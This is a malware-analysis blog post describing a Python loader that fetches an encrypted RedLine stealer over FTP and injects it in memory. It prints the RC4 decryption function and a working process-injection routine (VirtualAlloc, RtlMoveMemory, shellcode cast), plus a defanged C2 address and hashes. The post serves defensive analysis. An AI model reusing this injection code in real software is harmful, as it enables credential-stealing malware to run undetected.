Last Updated: 2022-01-20 09:04:24 UTC
by Xavier Mertens (Version: 1)
Here is a piece of malicious Python script that injects a RedLine stealer into its own process. Process injection is a common attacker’s technique these days (for a long time already). The difference, in this case, is that the payload is delivered through FTP! It’s pretty unusual because FTP is today less and less used for multiple reasons (lack of encryption by default, complex to filter with those passive/active modes). Support for FTP has even been disabled by default in Chrome starting with version 95! But FTP remains a common protocol in the IoT/Linux landscape with malware families like Mirai. My honeypots still collect a lot of Mirai samples on FTP servers. I don't understand why the attacker chose this protocol because, in most corporate environments, FTP is not allowed by default (and should definitely not be!).
The Python script contains the credentials and FTP server IP address. When you connect manually, you can list a bunch of different payloads but the one used in this case is 001.enc.
remnux@remnux:/MalwareZoo/20220119$ ftp x.x.x.x Connected to x.x.x.x. 220-FileZilla Server 0.9.60 beta 220-written by Tim Kosse (firstname.lastname@example.org) 220 Please visit https://filezilla-project.org/ Name (184.108.40.206:root): launcher 331 Password required for launcher Password: 230 Logged on Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||58066|) 150 Opening data channel for directory listing of "/" -r--r--r-- 1 ftp ftp 228352 Jan 17 21:25 001.ENC -r--r--r-- 1 ftp ftp 228352 Jan 17 21:25 002.ENC -r--r--r-- 1 ftp ftp 879104 Jan 17 09:26 11.ENC -r--r--r-- 1 ftp ftp 675840 Aug 14 2021 1650.ENC -r--r--r-- 1 ftp ftp 675328 Dec 11 2021 167.ENC -r--r--r-- 1 ftp ftp 675328 Jan 02 13:01 1680.ENC 226 Successfully transferred "/" ftp>
The payload is encrypted and the following function does the job to decrypt the PE file:
def encode_data(data): key = b"JHGIEKC6U" S = bytearray(range(256)) j = 0 out = bytearray() for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i] , S[j] = S[j] , S[i] i = j = 0 for char in data: i = ( i + 1 ) % 256 j = ( j + S[i] ) % 256 S[i] , S[j] = S[j] , S[i] out.append(char ^ S[(S[i] + S[j]) % 256]) return(bytes(out))
Like I said to my students when I'm teaching FOR610, when you are investigating an incident, the way the payload was encrypted/encoded is less relevant. The payload in itself is important. To extract the PE file, I just wrote a quick Python script that replicates this function and dumps the payload into a file.
The decrypted payload SHA256 is 0eeb332efa3c20c2f3d85d07d844ba6150bdee3c1eade52f0f2449c3d2727334 and is unknown on VT at this time.
The script also has a hex-encoded shellcode. Why do we have a shellcode and another payload? Here is the function used to inject the code:
def runpe(peimage): filepathenv = "%ProgramFiles%\\Internet Explorer\\iexplore.exe" filepath = os.path.expandvars(filepathenv) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p p = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(sc)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(p), sc, ctypes.c_int(len(sc))) q = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(peimage)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(q), peimage, ctypes.c_int(len(peimage))) run = ctypes.cast(p, ctypes.WINFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p)) run(filepath.encode('utf8')+b'\x00', q)
You see that two calls to
VirtualAlloc() are performed. The first one is used to load the shellcode into memory and the second to load the payload (RedLine itself). The most interesting line is the one with the
ctypes.cast(). This function allows casting the shellcode to act as a function pointer. Once completed, the shellcode can be called like any standard Python function:
Through the shellcode, Python will execute RedLine that has been injected in memory before. My sample tried to connect to the following C2 but it was offline (78[.]24[.]222[.]162:37819).
The initial Python script (SHA256:e6d6451b82a03a3199770c490907ef01c401cc44826162a97d0f22aa9c122619) has a VT score of 14/58.
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant